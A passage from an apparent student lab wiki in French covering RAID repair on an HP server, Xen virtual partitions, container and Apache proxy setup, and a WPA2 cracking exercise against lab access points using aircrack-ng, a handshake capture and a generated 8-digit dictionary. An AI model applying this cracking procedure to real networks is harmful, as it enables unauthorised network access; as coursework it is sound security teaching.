Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdd1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48738</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48738"/>
				<updated>2018-12-15T18:09:26Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Utilisation de partitions virtuelles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
